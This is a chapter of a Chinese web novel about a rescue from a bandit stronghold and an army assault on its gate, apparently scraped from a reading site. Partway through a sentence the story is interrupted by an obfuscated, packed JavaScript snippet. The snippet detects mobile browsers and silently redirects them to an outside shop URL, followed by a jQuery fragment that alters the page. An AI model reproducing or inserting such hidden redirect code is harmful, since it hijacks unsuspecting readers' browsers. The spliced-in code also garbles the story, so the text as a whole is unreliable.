沈惟熙跟着女人们一齐向寨门走去,她故意拉着江照邻走在最后。
路过一个岔路口时,二人一个闪身,便隐入了黑暗中。
“趁着他们现在都在喝酒,我们得赶紧找到萧行澈。”沈惟熙带着江照邻在寨子里穿梭。
眠龙寨极大,又建于千明山顶之上,地势高低错落,岔路繁多。
好在众人皆在大院中喝酒,她们一路上没有遇见任何阻拦。
沈惟熙带着江照邻在寨中悠悠地转了一圈,才在一处地方发现了异常。
“姐姐,这里有人把守。”沈惟熙顺着江照邻的声音望去。
眼前的木屋闪烁着烛火,门上缠满了红绸,两名山贼正坐在门口对饮。
“真是晦气,在这看着这个玩意,喝酒也不能尽兴。”一名山贼摇了摇头,抬头将酒一口闷下。
“阿邻,你去看看周围还没有其他人。”
“好。”江照邻绕过木屋,巡视了一番,并未发现其他山贼。
沈惟熙:“解决掉他们。”
江照邻抽出软剑,闪身而去。
剑光划过,两名山贼不敢置信地看着自己脖颈处喷涌而出的鲜血,轰然倒地。
萧行澈似是听见了外面的动静,他兴奋地打开门冲了出来!
突然,“铃铃铃——铃铃铃——”。
门上的机关被触动,整个山寨的风铃都晃动了起来,一齐发出刺耳的铃声。
“跑!”沈惟熙抓起萧行澈的手,没有一丝犹豫,一头扎进山寨深处。
危机时刻,几人还不忘将山贼的衣服脱下扔掉。
“恶心!”萧行澈喊道。
沉浸在酒色中的山贼们混沌的神经也被这一股铃音唤醒。
山莲猛地摔碎了杯子:“他居然敢跑!爹,快把他给我抓回来!”
山彪的大掌猛地拍在了桌子上,强大的掌劲将木桌震地四分五裂。
他扯起嗓子喊道:“山歧,搜查整个眠龙寨,一个角落也不许放过!”
山歧忙站了起来:“是!”
山彪端起酒碗:“来弟兄们继续!”
“你没事吧。”三人躲到了一处仓库,大口地喘着粗气。
“阿邻,将苏樾的穿云箭放出去,这山寨人太多了,牵机散也只能拖住一时。”
江照邻走出仓库,朝着天空伸手一拉。
窜地一声,苏家的穿云箭往夜空飞去。
火红色的烟花在夜空散开,紧接着慢慢转为蓝色。
这信号太过扎眼,眠龙寨众人亦寻声而来。
沈惟熙望着天空的烟花皱了皱眉:“我们得换个地方躲藏,这里已经暴露了。”
“姐姐,刚刚路过后面那边好像有一个山洞,说不定从那能走出眠龙寨。”江照邻提议道。
“也好,就算不能逃出山,山洞内易守难攻,我们也能多支撑会。”
......
“少东家!穿云箭。”刘仁义朝着天空指去。
苏樾猛地站起,目光紧紧跟随着烟花:“不好!他们遇到危险了。集结人马,立刻出发前往千明山!”
而此时的孙知县正和杨天威正疯狂地往云丰县赶。
“师兄,能否先和我去一趟徐家酒庄,再去剿灭这眠龙寨。”孙知县骑着马和杨天威并行。
杨天威反问道:“是那几个小鬼头又出事了?”
孙知县将脸上的尘土抹掉:“他们几个今晚去酒庄卧底,我有些担心。”
“成,师父让我半月内剿灭这眠龙寨,不急于一时。”两人带着宣武军,很快就抵达了云丰县。
“孙大人!”
“吁!”孙知县急忙勒紧缰绳,停了下来:“苏樾?你怎地在此?”
苏樾顾不得礼节了:“快,和我上山救照邻他们!”
“什么?他们在山上!”杨天威手中的缰绳紧了又紧:“莫非是被眠龙寨的人抓走了!”
孙知县听到这个消息,着急忙慌地蹬了一下马,马儿吃痛地带着他转起圈来。
“吁!吁!快啊,师兄我们快去救他们。”
“跟我走!”苏樾大喊一声。
杨天威和苏樾在前方带路,后头乌压压地跟着如峰镖局的人和一百宣武精兵。
“这路骑马行不通了,所有人听令,下马步行!”杨天威眼见着到了一处上坡,只能弃马步行。
众人翻越了小半座山,终于望见了屹立在山脊处的眠龙寨。
“不能盲目行动。”苏樾伸手轻轻拦住孙知县二人,随后拿出千里镜,朝寨子望去。
“这眠龙寨昨日暗杀我不成,被我炸死了一半精锐,现在实力大不如前!是我们攻打的最好时机!”孙知县恨不得抢过苏樾手上的千里镜由自己来观察情况。
“果然。”苏樾放下千里镜:“我刚望去,瞭望塔以及寨门前,竟都是些老弱妇孺,只有零星几个男丁。”
“这也不至于吧,我好像也没炸死那么多人......吧。”孙知县往寨门口眺望去。
“我认为我们可以攻打了,将军您看?”苏樾询礼貌地询问着杨天威的意见。
孙知县也等不下去了:“是啊,快走啊!”
苏樾欲言又止,最终还是说了出口:“只是这些老弱妇孺,将军可否留他们一命?”
杨天威抄起长枪:“嗯,山贼寨子中的女子大多不是被卖来的便是被强行掳走的,稚子无辜,都是些可怜人。”
“众将士听令!随我前往攻打眠龙寨,老弱妇孺不杀!其余反抗者格杀勿论!”
旌旗猎猎作响,百余号兵士如潮水般涌了上去。
“放下武器,饶你们一命!”杨天威放声大吼。
寨外的妇孺早就被吓破了胆,四散着往寨内涌去。
“开门!开门!”
她们叫哑了嗓子,寨门依旧巍然不动。
山雄在寨墙上大吼:“不许开门!都给我顶着门,不能让他们进寨子!”
“弓箭手准备!给我往下射!”
“擂石手!往下给我投石!”
一名山贼喊道:“大公子,不行啊,她们都还在下面!”
山雄不以为意:“一群女人,死了便死了!再说一句我就送你和他们一起去死。”
眼看着箭雨射下,一颗一颗落石往地下砸。
有几个女人逃跑不及时,死在了寨墙下。
“龟孙子!真不是东西,给我强攻!”杨天威骂了一句。
兵士们摆好阵型,举着盾牌齐齐往前挪动。
挪到门前时,那些妇女有些在哭喊,有些已经闭上眼等待死亡的到来。
“你们靠边站!不要受伤了,”苏樾不顾自身安慰,上前将一群妇孺孩子安置到边角。
前头的宣武军开始破寨门,后头的宣武军们紧紧举着盾牌,为前头的人顶住了一波波攻势。
“这山路崎岖,泥头车上不了,这寨门太重了!”孙知县憋住了气用力地推着寨门。
“我来帮你们!”不知道哪来的小孩喊了一声。
“海娃,不要!”
“娘,他们天天打你们,饭也吃不饱,我们还护着他们这群畜牲干什么!”海娃只有七岁,但他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16620151|187839||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
依旧拼劲全力,只为守护自己的娘亲。
“我们也来!”
“他们根本不把我们的命当回事!”
“我早就受够了!”
山雄眼见寨门就要被破开,愤怒地大喊:“这群贱人!你们这群贱人!”
最终在众人的齐心协力下,眠龙寨寨门。
破了!
宣武军势如破竹!不过片刻,守门的山贼便被杀的片甲不留。
只留下山雄苟延残喘。
“说!你把他们带到哪去了!”孙知县上前揪住他的衣领,狠狠问道。
“呸,我是什么都不会说的!”山雄朝着孙知县啐了一口唾沫。
孙知县连忙避开,狠狠地踩了他两脚。
“你们几个留下来,将这些妇人孩子安置好!”杨天威指了几人留下,随后又带着宣武军往里冲。
“我们分开搜!这样更快。”苏樾提议道。
说罢他便带着如峰镖局的人往左侧的岔路口走去。
顺着石阶往上,苏樾和刘仁义来到了大院内。
“少东家,这些菜还有些余温,人应该没走远。”刘仁义用手摸了摸桌上的盘子。
哐!是盘子碎裂的声音。
刘仁义上前一把将人从桌底揪了出来。
“说!人呢?”小山贼望着架在自己脖子上的刀,酒立刻醒了,身下不自禁地淌下了黄汤。
苏樾皱了皱眉,往后退了两步。
“说!”刘仁义又狠狠给了他一脚。
“他们......他们都往那边去了。”小山贼颤抖者朝着山莲的房间指去。
刘仁义也不同他废话,喊了个人将他绑住后,便往后院搜去。
苏樾一言不发,快步地走着。
你......你们一定不要有事。
苏樾:“在这!”
他们寻到了山莲屋中,可却已经人去楼空。
苏樾望着眼前唯一的一条路:“往这找!”
苏樾沿着小径一路往前。
“大人!”
却在路的尽头,和杨天威与孙知县遇见了。
“那边我们都搜过了,其他地方都没有人了。”孙知县眯了眯眼。
苏樾:“我们那边也是。”
“那便只剩如今这一条路了!”杨天威举起手,示意众人跟上。
......
两刻钟前,山彪派山岐前往捉拿萧行澈。
“大家继续喝!”他们并没有将萧行澈不见的事情放在心里。
众人推杯换盏,好不快活。
“报!不好了!宣武军闯要进来了!大公子被抓了。”一个山贼连滚带爬地冲进院里。
“不好!他奶奶的梁楚生,这到底给我送来了一个什么大宝贝!”
“前日让我去刺杀那个小官,害我损失了一半精锐,今日又引来此祸患!”山彪气的满嘴污言秽语。
山莲上前说道:“爹,我们不能再和他们硬碰硬了,我们往后山撤去,那边有......”
山彪挑了挑眉,点点头:“撤!”
山岐在路上望着自己的弟兄们一股脑往后山跑,赶忙追去:“爹,我们往仓库那赶去他们已经不见了,不知道跑哪去了。”
“别管他们了,宣武军杀进来了,先去后山。”
“什么!大哥还在守寨门。”山岐转身便要去救山雄。
山莲一把拉住了他:“二哥!你现在去也是白白送死,留得青山在,不怕没柴烧!走。”
山莲没给他拒绝的机会,扯着他便跑了起来。